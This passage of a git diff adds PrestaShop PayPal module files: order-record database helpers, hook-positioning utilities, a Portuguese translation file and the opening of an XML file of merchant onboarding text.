= _MODULE_DIR_._PAYPAL_MODULE_DIRNAME_.$values['Local'.$key]; + } + + return $values; + } + + private function updatePictures($source, $destination, $force = false) + { + $wrappers = stream_get_wrappers(); + $https_wrapper = in_array('https', $wrappers) ? true : false; + + // 604800 => One week timestamp + if (!file_exists(_PS_MODULE_DIR_.$destination) || ((time() - filemtime(_PS_MODULE_DIR_.$destination)) > 604800) || $force) + { + $picture = Tools::file_get_contents($source); + if ((bool)$picture !== false) + { + if ($handle = @fopen(_PS_MODULE_DIR_.$destination, 'w+')) + { + $size = fwrite($handle, $picture); + if ($size > 0 || (file_exists(_MODULE_DIR_.$destination) && (@filesize(_MODULE_DIR_.$destination) > 0))) + return _MODULE_DIR_.$destination; + } + } + elseif (strstr($source, 'https')) + return $this->updatePictures(str_replace('https', 'http', $source), $destination); + else + return false; + } + + return _MODULE_DIR_.$destination; + } +} diff --git a/modules/paypal/paypal_orders.php b/modules/paypal/paypal_orders.php new file mode 100755 index 0000000..d5727fc --- /dev/null +++ b/modules/paypal/paypal_orders.php @@ -0,0 +1,152 @@ + +* @copyright 2007-2014 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +/* + * PayPal notification fields + */ +define('ID_INVOICE', 'invoice'); +define('ID_PAYER', 'payer_id'); +define('ID_TRANSACTION', 'txn_id'); +define('CURRENCY', 'mc_currency'); +define('PAYER_EMAIL', 'payer_email'); +define('PAYMENT_DATE', 'payment_date'); +define('TOTAL_PAID', 'mc_gross'); +define('SHIPPING', 'shipping'); +define('VERIFY_SIGN', 'verify_sign'); + +class PayPalOrder +{ + /* + * Get PayPal order data + * - ID Order + * - ID Transaction + * - ID Invoice + * - Currency (ISO) + * - Total paid + * - Shipping + * - Capture (bool) + * - Payment date + * - Payment method (int) + * - Payment status + */ + + public static function getTransactionDetails($ppec = false, $payment_status = false) + { + if ($ppec && $payment_status) + { + $transaction_id = pSQL($ppec->result['PAYMENTINFO_0_TRANSACTIONID']); + return array( + 'currency' => pSQL($ppec->result['PAYMENTINFO_0_CURRENCYCODE']), + 'id_invoice' => null, + 'id_transaction' => $transaction_id, + 'transaction_id' => $transaction_id, + 'total_paid' => (float)$ppec->result['PAYMENTINFO_0_AMT'], + 'shipping' => (float)$ppec->result['PAYMENTREQUEST_0_SHIPPINGAMT'], + 'payment_date' => pSQL($ppec->result['PAYMENTINFO_0_ORDERTIME']), + 'payment_status' => pSQL($payment_status) + ); + } + else + { + $transaction_id = pSQL(Tools::getValue(ID_TRANSACTION)); + return array( + 'currency' => pSQL(Tools::getValue(CURRENCY)), + 'id_invoice' => pSQL(Tools::getValue(ID_INVOICE)), + 'id_transaction' => $transaction_id, + 'transaction_id' => $transaction_id, + 'total_paid' => (float)Tools::getValue(TOTAL_PAID), + 'shipping' => (float)Tools::getValue(SHIPPING), + 'payment_date' => pSQL(Tools::getValue(PAYMENT_DATE)), + 'payment_status' => pSQL($payment_status) + ); + } + } + + public static function getOrderById($id_order) + { + return Db::getInstance()->getRow( + 'SELECT * FROM `'._DB_PREFIX_.'paypal_order` + WHERE `id_order` = '.(int)$id_order + ); + } + + public static function getIdOrderByTransactionId($id_transaction) + { + $sql = 'SELECT `id_order` + FROM `'._DB_PREFIX_.'paypal_order` + WHERE `id_transaction` = \''.pSQL($id_transaction).'\''; + + $result = Db::getInstance()->getRow($sql); + + if ($result != false) + return (int)$result['id_order']; + return 0; + } + + public static function saveOrder($id_order, $transaction) + { + $order = new Order((int)$id_order); + $total_paid = (float)$transaction['total_paid']; + + if (!isset($transaction['payment_status']) || !$transaction['payment_status']) + $transaction['payment_status'] = 'NULL'; + + Db::getInstance()->Execute(' + INSERT INTO `'._DB_PREFIX_.'paypal_order` + (`id_order`, `id_transaction`, `id_invoice`, `currency`, `total_paid`, `shipping`, `capture`, `payment_date`, `payment_method`, `payment_status`) + VALUES ('.(int)$id_order.', \''.pSQL($transaction['id_transaction']).'\', \''.pSQL($transaction['id_invoice']).'\', + \''.pSQL($transaction['currency']).'\', + \''.$total_paid.'\', + \''.(float)$transaction['shipping'].'\', + \''.(int)Configuration::get('PAYPAL_CAPTURE').'\', + \''.pSQL($transaction['payment_date']).'\', + \''.(int)Configuration::get('PAYPAL_PAYMENT_METHOD').'\', + \''.pSQL($transaction['payment_status']).'\')' + ); + } + + public static function updateOrder($id_order, $transaction) + { + $total_paid = (float)$transaction['total_paid']; + + if (!isset($transaction['payment_status']) || !$transaction['payment_status']) + $transaction['payment_status'] = 'NULL'; + + $sql = 'UPDATE `'._DB_PREFIX_.'paypal_order` + SET `payment_status` = \''.pSQL($transaction['payment_status']).'\' + WHERE `id_order` = \''.(int)$id_order.'\' + AND `id_transaction` = \''.pSQL($transaction['id_transaction']).'\' + AND `currency` = \''.pSQL($transaction['currency']).'\''; + if ((int)Configuration::get('PAYPAL_SANDBOX') != 1) + $sql .= 'AND `total_paid` = \''.$transaction['total_paid'].'\' + AND `shipping` = \''.(float)$transaction['shipping'].'\';'; + + Db::getInstance()->Execute($sql); + } +} diff --git a/modules/paypal/paypal_tools.php b/modules/paypal/paypal_tools.php new file mode 100755 index 0000000..078c66c --- /dev/null +++ b/modules/paypal/paypal_tools.php @@ -0,0 +1,79 @@ + + * @copyright 2007-2014 PrestaShop SA + * @version Release: $Revision: 14390 $ + * @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) + * International Registered Trademark & Property of PrestaShop SA + */ + +if (!defined('_PS_VERSION_')) + exit; + +class PayPalTools +{ + protected $name = null; + + public function __construct($module_name) + { + $this->name = $module_name; + } + + public function moveTopPayments($position) + { + if (version_compare(_PS_VERSION_, '1.5', '<')) + $hook_payment = (int)Hook::get('payment'); + else + $hook_payment = (int)Hook::getIdByName('payment'); + + $module_instance = Module::getInstanceByName($this->name); + + if (version_compare(_PS_VERSION_, '1.5', '<')) + $module_info = Hook::getModuleFromHook($hook_payment, $module_instance->id); + else + $module_info = Hook::getModulesFromHook($hook_payment, $module_instance->id); + + if ((isset($module_info['position']) && (int)$module_info['position'] > (int)$position) || + (isset($module_info['m.position']) && (int)$module_info['m.position'] > (int)$position)) + return $module_instance->updatePosition($hook_payment, 0, (int)$position); + return $module_instance->updatePosition($hook_payment, 1, (int)$position); + } + + public function moveRightColumn($position) + { + if (version_compare(_PS_VERSION_, '1.5', '<')) + $hook_right = (int)Hook::get('rightColumn'); + else + $hook_right = (int)Hook::getIdByName('rightColumn'); + + $module_instance = Module::getInstanceByName($this->name); + + if (version_compare(_PS_VERSION_, '1.5', '<')) + $module_info = Hook::getModuleFromHook($hook_right, $module_instance->id); + else + $module_info = Hook::getModulesFromHook($hook_right, $module_instance->id); + + if ((isset($module_info['position']) && (int)$module_info['position'] > (int)$position) || + (isset($module_info['m.position']) && (int)$module_info['m.position'] > (int)$position)) + return $module_instance->updatePosition($hook_right, 0, (int)$position); + return $module_instance->updatePosition($hook_right, 1, (int)$position); + } +} diff --git a/modules/paypal/pt.php b/modules/paypal/pt.php new file mode 100755 index 0000000..739424b --- /dev/null +++ b/modules/paypal/pt.php @@ -0,0 +1,133 @@ +paypal_abstract_ad69e733ebae8d264bccaa38d68830e8'] = 'Paypal'; +$_MODULE['<{paypal}prestashop>paypal_abstract_6e7012516038a096b9f6bb71ba2cc5a3'] = 'Aceita pagamentos por cartão de crédito (CB, Visa, MasterCard, Amex, Aurore, Cofinoga, 4 stars) com Paypal.'; +$_MODULE['<{paypal}prestashop>paypal_abstract_69a1a3ad8dd5da6db3c4da838a0cf9c7'] = 'Você tem certeza que você quer deletar seus dados?'; +$_MODULE['<{paypal}prestashop>paypal_abstract_c91f1fb5e06286c3e0a33fc552dffbea'] = 'Você deve definir suas credenciais do PayPal Integral, para que o tema de telefonia móvel funcione corretamente.'; +$_MODULE['<{paypal}prestashop>paypal_abstract_bd6b3cca1e559117a964cdfab6a977cf'] = 'O tema de telefonia móvel somente funciona com o módulo de pagamento Paypal neste momento. Por favor, ative o módulo para permitir pagamentos. '; +$_MODULE['<{paypal}prestashop>paypal_abstract_ea5eb3f904bf42377277255cbd0e2251'] = 'Para funcionar corretamente o módulo requer o módulo de compatibilidade com versões anteriores habilitado'; +$_MODULE['<{paypal}prestashop>paypal_abstract_48878e69ef59b9e9d2d9a8c18e4de520'] = 'Para funcionar corretamente o módulo requer pelo menos o módulo de compatibilidade com versões anteriores v'; +$_MODULE['<{paypal}prestashop>paypal_abstract_c9d8a8d3c76c69e9a5ba6387acb8655a'] = 'Para usar o módulo você precisa instalar o módulo de compatibilidade com versões anteriores.'; +$_MODULE['<{paypal}prestashop>paypal_abstract_d739f6e2d6351c3a587d44190a8253af'] = 'Todos recursos do módulo API do Paypal estão incluídos no novo módulo Paypal. Para que não haja nenhum conflito, por favor, não use e remova o módulo PaypalAPI.'; +$_MODULE['<{paypal}prestashop>paypal_abstract_32af90c3cfef1bacf43b0c3a8f60a4da'] = 'Fundos foram recuperados.'; +$_MODULE['<{paypal}prestashop>paypal_abstract_d238649ac5ec14afc894fad36c0b50fc'] = 'Sem sucesso na recuperação dos fundos solicitados. Por favor, veja mensagem de registro!'; +$_MODULE['<{paypal}prestashop>paypal_abstract_05b998de2c4fb46a7bdd37bd378b81d9'] = 'Validação bem sucedida. Por favor, veja mensagem de registro!'; +$_MODULE['<{paypal}prestashop>paypal_abstract_aeca7e93a1b3d77e38c3cffa131774d5'] = 'Reembolso foi efetuado.'; +$_MODULE['<{paypal}prestashop>paypal_abstract_cba030a50c8a99c7e224adbe1cf58544'] = 'Reembolso solicitado sem sucesso. Por favor, veja mensagem de registro!'; +$_MODULE['<{paypal}prestashop>paypal_abstract_20fda49ece75d93bea97648ab1f1f1cf'] = 'Resultado de cancelamento de produtos:'; +$_MODULE['<{paypal}prestashop>paypal_abstract_90ab0cfd410722553c79e614207a789a'] = 'Alguns campos estão vazios.'; +$_MODULE['<{paypal}prestashop>paypal_abstract_ce0e2b401002ca796d2e8aca7deb8f00'] = 'Campos de credenciais não podem estar vazios'; +$_MODULE['<{paypal}prestashop>paypal_abstract_3f7145179c909f0e87a911a3171986b6'] = 'Campo para e-mail comercial não pode estar vazio'; +$_MODULE['<{paypal}prestashop>paypal_abstract_e5d5d9f40763cfe6549bef705e3529a7'] = 'Mensagem de pagamento não é válida, por favor verifique seu módulo.'; +$_MODULE['<{paypal}prestashop>paypal_abstract_ee9dc1e678d54c517f481583c3fb2db8'] = 'Não é uma moeda válida'; +$_MODULE['<{paypal}prestashop>paypal_abstract_eec39bf42bd135971fb2d838c67d1449'] = 'Resultado de operação de reembolso:'; +$_MODULE['<{paypal}prestashop>paypal_abstract_2ab62d1a578713d0862b56819295630e'] = 'Reembolso do Paypal efetuado com sucesso!'; +$_MODULE['<{paypal}prestashop>paypal_abstract_a64db959966ba8d07c8b5d9493fcc21f'] = 'Erro de transação!'; +$_MODULE['<{paypal}prestashop>paypal_abstract_67962779da962e3d4225055afc05e7bd'] = 'Resultado de operação de captura:'; +$_MODULE['<{paypal}prestashop>paypal_abstract_8778ee03f6592d5fec9a1f2ee851e476'] = 'Terminado o pedido com Paypal'; +$_MODULE['<{paypal}prestashop>paypal_abstract_672d40feac6437e49f771019bc330790'] = 'Status de verificação:'; +$_MODULE['<{paypal}prestashop>paypal_abstract_1828820cc60e36b6f9fdf60cab103ed7'] = 'Você está usando o e-mail padrão que vem com o Paypal, por favor coloque seu próprio e-mail.'; +$_MODULE['<{paypal}prestashop>validation_20dfea1a472e5be3f15f6b5f36ca335c'] = 'Problema conectando com o servidor do Paypal.'; +$_MODULE['<{paypal}prestashop>validation_f7799c2ded739cf3c3e9babffc5f315b'] = 'Conexão usando cURL falhou'; +$_MODULE['<{paypal}prestashop>validation_eca77e208634d52703b07672abbf16ec'] = 'Falha na verificação (usando cURL). Retornou:'; +$_MODULE['<{paypal}prestashop>validation_8358ec19f397d4cdd632688d4f79e535'] = 'Falha na verificação (usando fsockopen). Retornou:'; +$_MODULE['<{paypal}prestashop>validation_76ee8dc73701e846f7bccdf98dae079b'] = 'Sem transporte de comunicação disponível.'; +$_MODULE['<{paypal}prestashop>validation_2818bed1f235637049f4d46fd455dc1c'] = 'A chave Paypal \'mc_gross\' não foi especificada, não pode controlar a quantia paga.'; +$_MODULE['<{paypal}prestashop>validation_be59cbfbf305dc45cd0c3e9841b17ecf'] = 'A chave Paypal \'payment_status\' não foi especificada, não pode controlar a validade de pagamento'; +$_MODULE['<{paypal}prestashop>validation_bd0e34e5be6447844e6f262d51f1a9dc'] = 'Pagamento:'; +$_MODULE['<{paypal}prestashop>validation_e0395c4ce35d0b1e59ca3f2d5e260d23'] = 'A chave Paypal \'custom\' não foi especificada, não pode transmitir ao carrinho'; +$_MODULE['<{paypal}prestashop>validation_765261b630ee773659fae89e9ad762f5'] = 'A chave Paypal \'txn_id\' não foi especificada, transação desconhecida'; +$_MODULE['<{paypal}prestashop>validation_01634612f84d2b7ba56ccdf467e604b7'] = 'A chave Paypal \'mc_currency\' não foi especificada, moeda desconhecida'; +$_MODULE['<{paypal}prestashop>validation_e61f52d02b9f52fbe1fd41ed320e29c3'] = 'Carrinho não foi encontrado'; +$_MODULE['<{paypal}prestashop>validation_0617900b1aff826081d07f5a3e2e7cd0'] = 'Pedido já foi feito'; +$_MODULE['<{paypal}prestashop>validation_f5209b3301a46f3057ffbf34d903e205'] = 'ID de Transação Paypal: '; +$_MODULE['<{paypal}prestashop>validation_7b19e875ff64b09d80ee05dcc84b9975'] = 'A transação do Paypal não pode ser VERIFICADA.'; +$_MODULE['<{paypal}prestashop>paypal_connect_d1f14cc4a2dade80c92421d26422fea0'] = 'Fazendo nova conexão com'; +$_MODULE['<{paypal}prestashop>paypal_connect_94a27811a721ef512ad7bfa06cab34e0'] = 'Falha ao conectar com método CURL'; +$_MODULE['<{paypal}prestashop>paypal_connect_70215486455daee13382c68b1a230b82'] = 'Conexão com método CURL com sucesso'; +$_MODULE['<{paypal}prestashop>paypal_connect_e4c4ad49bced42265b5facc2175cdafd'] = 'Enviando este params:'; +$_MODULE['<{paypal}prestashop>paypal_connect_445583f6641da98fc7ac8fd9d13a564b'] = 'Envio com método CURL falhou! Erro:'; +$_MODULE['<{paypal}prestashop>paypal_connect_ef4fbf36eaa2083442d386990ba063c2'] = 'Envio com método CURL com sucesso'; +$_MODULE['<{paypal}prestashop>paypal_connect_bf059c9751bb1a20b449b7917b1df374'] = 'Conexão com método fsockopen falhou'; +$_MODULE['<{paypal}prestashop>paypal_connect_ea800e3536f81238a4cbc32eb6db4eaf'] = 'Conexão com método fsockopen com sucesso'; +$_MODULE['<{paypal}prestashop>paypal_connect_6e9aa4cb541e09b07602d4ea96080811'] = 'Envio com método fsockopen falhou!'; +$_MODULE['<{paypal}prestashop>paypal_connect_842a183be225d415b2b4375ba1dd1c94'] = 'Envio com método fsockopen com sucesso!'; +$_MODULE['<{paypal}prestashop>paypal_lib_7c2d00d8c94d1ce0f515db8b0481db40'] = 'Resposta do Paypal'; +$_MODULE['<{paypal}prestashop>paypal_express_checkout_ee9dc1e678d54c517f481583c3fb2db8'] = 'Não é uma moeda válida'; +$_MODULE['<{paypal}prestashop>paypal_express_checkout_484f5a79672cebe198ebdde45a1d672f'] = 'Papel de presente'; +$_MODULE['<{paypal}prestashop>submit_1e97d97a923eaddd810e056c828e99ea'] = 'Erro no pagamento'; +$_MODULE['<{paypal}prestashop>submit_7ef8c0c75056a5d1f988e352efcd0f09'] = 'Este produto não está mais em estoque com estes atributos mas está disponível com outros'; +$_MODULE['<{paypal}prestashop>submit_d141a42a5e72c871a3116414bb5c64c1'] = 'Não é possível criar novo carrinho'; +$_MODULE['<{paypal}prestashop>submit_5b5adcef5e3f2e5e1b6f60eb3e7e41ed'] = 'Ocorreu um erro:'; +$_MODULE['<{paypal}prestashop>submit_58f53d0306ffc9cc9820eab866e90efe'] = 'Erro durante a preparação do pagamento express checkout'; +$_MODULE['<{paypal}prestashop>submit_51da74120dd5e11817ef21e27d2599bc'] = 'Não foi possível criar cliente'; +$_MODULE['<{paypal}prestashop>submit_bcf08b34ab427cb871635151c6976eb0'] = 'Não foi possível criar endereço'; +$_MODULE['<{paypal}prestashop>submit_ca5cecfc8fd8e585ba1e684757168158'] = 'Não foi possível atualizar o carrinho existente'; +$_MODULE['<{paypal}prestashop>submit_36ec50c0e914dd2fb48a1b27540512ce'] = 'Pagamento aceito.'; +$_MODULE['<{paypal}prestashop>submit_28060413b9f346d871b633018d03c7b0'] = 'Preço pago no Paypal não é o mesmo que no PrestaShop.'; +$_MODULE['<{paypal}prestashop>submit_98825385aadb1d0dd0fd133ef8acd23d'] = 'Não é possível criar pedido'; +$_MODULE['<{paypal}prestashop>submit_085b78e060c3ef4cc37bd25abd06ff66'] = 'Carrinho mudou desde o último checkout express, por favor faça um novo pagamento no checkout Paypal'; +$_MODULE['<{paypal}prestashop>notifier_28060413b9f346d871b633018d03c7b0'] = 'Preço pago no Paypal não é o msmo que no PrestaShop.'; +$_MODULE['<{paypal}prestashop>notifier_572f9af7615560af2cba038cc1948287'] = 'Carrinho mudou, por favor entre dados novamente.'; +$_MODULE['<{paypal}prestashop>notifier_36ec50c0e914dd2fb48a1b27540512ce'] = 'Pagamento aceito.'; +$_MODULE['<{paypal}prestashop>back_office_2d801c24938b12e4ca9a2cf9b980c759'] = 'Erro!'; +$_MODULE['<{paypal}prestashop>capture_81e826adb70e2e6b189c2eef739d52d4'] = 'Captura Paypal'; +$_MODULE['<{paypal}prestashop>capture_e8fdd4382b75b42bfbd96eb7b032cf47'] = 'Informação:'; +$_MODULE['<{paypal}prestashop>capture_ce64b2ea82cf4fa861a6512e2c32b84b'] = 'Fundos prontos para serem capturados antes do envio'; +$_MODULE['<{paypal}prestashop>capture_99e64593868df2b7b32231c1ae5ddc04'] = 'Obter o dinheiro'; +$_MODULE['<{paypal}prestashop>refund_8ba079f305b81b172792bc0469b6a690'] = 'Reembolso Paypal'; +$_MODULE['<{paypal}prestashop>refund_e8fdd4382b75b42bfbd96eb7b032cf47'] = 'Informação:'; +$_MODULE['<{paypal}prestashop>refund_016e1f278eccd700eaf33f74a501d050'] = 'Pagamento aceito'; +$_MODULE['<{paypal}prestashop>refund_a8b1cc445942a2e1a7d7cca641c86d67'] = 'Quando você reembolsa um produto, um reembolso parcial é feito a menos que você selecione \"Generate a voucher\".'; +$_MODULE['<{paypal}prestashop>refund_c2a5e2e23d8ec9cad779d657b7d33fc1'] = 'Reembolso total da transação'; +$_MODULE['<{paypal}prestashop>refund_729a51874fe901b092899e9e8b31c97a'] = 'Você tem certeza?'; +$_MODULE['<{paypal}prestashop>validation_b630aa9b5e25da971949cae62dd109aa'] = 'Validação Paypal'; +$_MODULE['<{paypal}prestashop>validation_e8fdd4382b75b42bfbd96eb7b032cf47'] = 'Informação:'; +$_MODULE['<{paypal}prestashop>validation_9119a92adbbf6c67bfb8a3aee0bdb720'] = 'Captura Pendente - Sem meio de envio'; +$_MODULE['<{paypal}prestashop>validation_c14eb95a724174f336b8ffdd98ef2f35'] = 'Pagamento Pendente - Sem meio de envio'; +$_MODULE['<{paypal}prestashop>validation_5b18ff32c2aaaf4b79bdead10b10fe29'] = 'Obtenha o status do pagamento'; +$_MODULE['<{paypal}prestashop>about_e816e21c1c8e0eba0620fa3df6bd6795'] = 'O que é Paypal?'; +$_MODULE['<{paypal}prestashop>about_16ea57badae98f402bb8f2b2f49d4e77'] = 'PayPal, uma confiável empresa líder em pagamentos on-line, permite que compradores e empresas enviem e recebam dinheiro online. PayPal tem mais de 100 milhões de contas de membros em 190 países e regiões. Ele é aceito por comerciantes em toda parte, dentro e fora do eBay.'; +$_MODULE['<{paypal}prestashop>about_d20adade7baa1b60b713521031ea676c'] = 'É seguro para usar?'; +$_MODULE['<{paypal}prestashop>about_64f7b897c6d56fc62428f692ee5737cd'] = 'PayPal ajuda a proteger suas informações de cartão de crédito com líderes de mercado em segurança e sistemas de prevenção de fraude. Quando você usa o PayPal, suas informações financeiras nunca são compartilhadas com o comerciante.'; +$_MODULE['<{paypal}prestashop>about_5ef30813484389e4200640c2f006004d'] = 'Porque usar Paypal?'; +$_MODULE['<{paypal}prestashop>about_86550d4ea832930db4366f03b90bdfb8'] = 'Faça compras ou envie dinheiro com o Paypal - é grátis!'; +$_MODULE['<{paypal}prestashop>about_7dc9e529337e5a55a12bf362b8e68cac'] = 'Compre e pague de forma conveniente salvando suas informações com o Paypal'; +$_MODULE['<{paypal}prestashop>about_32098ae6a7ecd96805df9e48fb6cc739'] = 'O Paypal é aceito por milhões de empresas em todo o mundo e é o método preferido no eBay'; +$_MODULE['<{paypal}prestashop>about_7934d7d1280bfbb8778743e39292af30'] = 'Comece a usar o Paypal hoje!'; +$_MODULE['<{paypal}prestashop>column_dac2693baa5c5c9a5318609ed81c4f2a'] = 'Pague com Paypal'; +$_MODULE['<{paypal}prestashop>confirmation_2e2117b7c81aa9ea6931641ea2c6499f'] = 'Seu pedido no'; +$_MODULE['<{paypal}prestashop>confirmation_75fbf512d744977d62599cc3f0ae2bb4'] = 'está completo.'; +$_MODULE['<{paypal}prestashop>confirmation_15b0f8e55c6bdfc3d5fd0b6b3b6cb3ee'] = 'Você escolheu o método Paypal.'; +$_MODULE['<{paypal}prestashop>confirmation_e6dc7945b557a1cd949bea92dd58963e'] = 'Seu pedido será enviado em breve.'; +$_MODULE['<{paypal}prestashop>confirmation_0db71da7150c27142eef9d22b843b4a9'] = 'Para qualquer pergunta ou mais informações, por favor contate nosso '; +$_MODULE['<{paypal}prestashop>confirmation_64430ad2835be8ad60c59e7d44e4b0b1'] = 'serviço de atendimento ao cliente'; +$_MODULE['<{paypal}prestashop>error_a40cab5994f36d4c48103a22ca082e8f'] = 'Seu carrinho de compra'; +$_MODULE['<{paypal}prestashop>error_ad69e733ebae8d264bccaa38d68830e8'] = 'Paypal'; +$_MODULE['<{paypal}prestashop>error_425551a2289ed60c9260933d1c45ef00'] = 'Por favor consulte os registros:'; +$_MODULE['<{paypal}prestashop>error_0557fa923dcee4d0f86b1409f5c2167f'] = 'Voltar'; +$_MODULE['<{paypal}prestashop>order-confirmation_fb077ecba55e5552916bde26d8b9e794'] = 'Confirmação do Pedido'; +$_MODULE['<{paypal}prestashop>order-confirmation_d5860edcd3078f86ee963c27654bc6cf'] = 'Total da transação (impostos incluídos) :'; +$_MODULE['<{paypal}prestashop>order-confirmation_a378cd7a0839cbd4ec3e45bbdeeb69be'] = 'A ID do seu pedido é:'; +$_MODULE['<{paypal}prestashop>order-confirmation_6e860dc1cf94ca08b3fd99993aa2dc68'] = 'A ID da sua transação Paypal é:'; +$_MODULE['<{paypal}prestashop>order-confirmation_4082ea29b4f196c4f60533500139725a'] = 'Acompanhar meu pedido'; +$_MODULE['<{paypal}prestashop>order-confirmation_9390390581f54c65d6acfc8da4e17362'] = 'Voltar para pedidos'; +$_MODULE['<{paypal}prestashop>order-summary_a40cab5994f36d4c48103a22ca082e8f'] = 'Seu carrinho de compra'; +$_MODULE['<{paypal}prestashop>order-summary_ad69e733ebae8d264bccaa38d68830e8'] = 'Paypal'; +$_MODULE['<{paypal}prestashop>order-summary_f1d3b424cd68795ecaa552883759aceb'] = 'Resumo do pedido'; +$_MODULE['<{paypal}prestashop>order-summary_dd23adc5fb6bda9c384397b31e57fc53'] = 'Pagamento Paypal'; +$_MODULE['<{paypal}prestashop>order-summary_62d74398cb6ebaa69ab7339052ca5c92'] = 'Você escolheu pagar com Paypal.'; +$_MODULE['<{paypal}prestashop>order-summary_c884ed19483d45970c5bf23a681e2dd2'] = 'Aqui está um curto resumo do seu pedido:'; +$_MODULE['<{paypal}prestashop>order-summary_e2867a925cba382f1436d1834bb52a1c'] = 'O valor total do seu pedido é'; +$_MODULE['<{paypal}prestashop>order-summary_1f87346a16cf80c372065de3c54c86d9'] = '(imposto incluído)'; +$_MODULE['<{paypal}prestashop>order-summary_8ed356c32b198c9cb2abab7c3d262b93'] = 'Nós aceitamos as seguintes moedas para serem enviadas pelo Paypal:'; +$_MODULE['<{paypal}prestashop>order-summary_0881a11f7af33bc1b43e437391129d66'] = 'Por favor confirme seu pedido clicando \'Eu confirmo meu pedido\''; +$_MODULE['<{paypal}prestashop>order-summary_46b9e3665f187c739c55983f757ccda0'] = 'Eu confirmo meu pedido'; +$_MODULE['<{paypal}prestashop>express_checkout_form_dac2693baa5c5c9a5318609ed81c4f2a'] = 'Pague com o Paypal'; +$_MODULE['<{paypal}prestashop>paypal_dac2693baa5c5c9a5318609ed81c4f2a'] = 'Pague com o Paypal'; +$_MODULE['<{paypal}prestashop>iframe_ecab922bc1f9b5726e2a6deb4acaec4e'] = 'Volte para o website do comerciante'; +$_MODULE['<{paypal}prestashop>payment_dac2693baa5c5c9a5318609ed81c4f2a'] = 'Pague com o Paypal'; +$_MODULE['<{paypal}prestashop>payment_a3f2caee6ef8e68fbd26e42d83f2bf65'] = 'Pague com sua conta Paypal, cartão de crédito (CB, Visa, Mastercard...), ou cartão de crédito privado'; +$_MODULE['<{paypal}prestashop>payment_b08008a2de4331ba13f006c9bcf37b62'] = 'Pague com sua conta Paypal'; diff --git a/modules/paypal/translations.xml b/modules/paypal/translations.xml new file mode 100755 index 0000000..87ed79a --- /dev/null +++ b/modules/paypal/translations.xml @@ -0,0 +1,3815 @@ + + + + + Yes + No + Pay with your card or your PayPal account + Leader in + online payments + Easy, secure, fast payments for your buyers. + Getting started with PayPal only takes 5 minutes + + Get more buyers
        100 million-plus PayPal accounts worldwide
      • +
      • Access international buyers
        190 countries, 25 currencies
      • +
      • Reassure your buyers
        Buyers don’t need to share their private data
      • +
      • Accept all major payment method
      • + ]]> + + + Your country + change + Select your country + + Translated in your language + + Need help ?]]> Give us a call : xxxx + call + + + You already have a PayPal business account + Select your solution + Learn more]]> + + Need PayPal to process all your card payments ? + Need PayPal in addition to your existing card processor ? + + Choose + + Website Payments Standard + + Start accepting payments immediately.]]> + No subscription fees, pay only when you get paid. + + + Website Payments Pro + + A professional platform to accept payments through credit cards and PayPal account, covered by seller protection.]]> + Customized payments pages. Monthly subscription of 25€. + + Click on the SAVE button only when PayPal has approved your subscription for this product. This process can take up to 3-5 days. + + Express Checkout + Boost your online sales by 30%*. + *Source: Forrester research realized in march 2011 + + Apply or open your PayPal Business account + + Enable your online shop to process payments + Give your PayPal Identification info, finish to set-up your account and start accepting payments + Communicate your PayPal identification info to PrestaShop + Indicate the email you used when you signed up for a PayPal Business account + Get my PayPal identification info + After clicking on the “Get my PayPal identification info†button, enter your login and password in the pop up, copy your PayPal identification info from the pop up and paste them is the below fields. + API username + API password + API signature + API business e-mail + Please check once more that you pasted all the characters. + + To finalize setting up your PayPal account, you need to + Confirm your email address : check the email sent by PayPal when you created your account + Link your PayPal account to a bank account or a credit card : log into your PayPal account and go to “My business setup†+ + Configuration options + + Choose the solution you want to use + Iframe + Full page redirect + Choose your template + + Use express checkout shortcut + Offer your customers a 2-click payment option + + Use Sand box + (recommanded) + Activate a test environment in your PayPal account (only if you are a developer). + Learn more + https://developer.paypal.com/ + Live mode + Test mode + + Activating the test mode implies that + + You won’t be able to accept payment +
      • You will need to come back to the PayPal module page in order to complete the Step 3 before going live.
      • +
      • You’ll need to create an account on the PayPal sandbox site (learn more)
      • +
      • You’ll need programming skills
      • + ]]> +
        + Are you sure you want to activate the test mode ? + + Payment type + Choose your way of processing payments (automatically vs.manual authorization). + Direct sales (recommended) + Authorization/Manual capture (payment shipping) + + Save + + You need to complete the PayPal identification Information in step 3 otherwise you won’t be able to accept payment. + + Congratulation ! + You can now start accepting Payment with PayPal. + You can now start testing PayPal solutions. Don’t forget to comeback to this page and activate the live mode in order to start accepting payements. + Client ID + Secret + PayPal Blue + Neutral + + + Sign Up + Once your account is created, come back to this page in order to complete step 3. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=2 + + + Subscribe + + Click on the SAVE button only when PayPal has approved your subscription for this product,]]> + otherwise you won't be able to process payment. This process can take up to 3-5 days. + + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=4 + + + Sign Up + Once your account is created, come back to this page in order to complete step 3. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=3 + + + + + + + + Subscribe + + Click on the SAVE button only when PayPal has approved your subscription for this product,]]> + otherwise you won’t be able to process payment. This process can take up to 3-5 days.]]> + ]]> + If your application for Website Payments Pro has already been approved by PayPal, please go directly to ]]>step 3]]>. + + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=4 + + + + + + + + + + Yes + No + Pay with your card or your PayPal account + Leader in + online payments + Easy, secure, fast payments for your buyers. + It only takes a few minutes to get started with PayPal + + Get more buyers
        Over 100 million active PayPal accounts worldwide +
      • Access international buyers
        190 countries, 25 currencies
      • +
      • Reassure your buyers
        Buyers don’t need to share their private data
      • +
      • Accept all major payment methods
        Visa, Mastercard, PayPal, etc.
      • + ]]> +
        + + Your country + change + Select your country + + Need help?]]> Give us a call : 1800-073-263 + + + + Already have a PayPal business account + Select your solution + Learn more]]> + + Need PayPal to process all your card payments ? + Need PayPal in addition to your existing card processor ? + + Choose + + Website Payments Standard + + Start accepting payments immediately.]]> + No subscription fees, only a small transaction fee when you get paid. + + + Website Payments Pro - Hosted Solution + A professional platform that enables you to accept debit card, credit card and PayPal payments.]]>Customised payment pages. Monthly subscription of 25$. + Please click on the SAVE button at the bottom of the page only once PayPal has approved your application for this product, otherwise you won’t be able to process any card payments. This process can take up to 3-5 days. + + Express Checkout + Boost your online sales by 30%* with a simple 3-click checkout process. + *Source: Forrester research conducted in March 2011 + + Sign up for your free PayPal Business account + + Process payments on your online shop + + 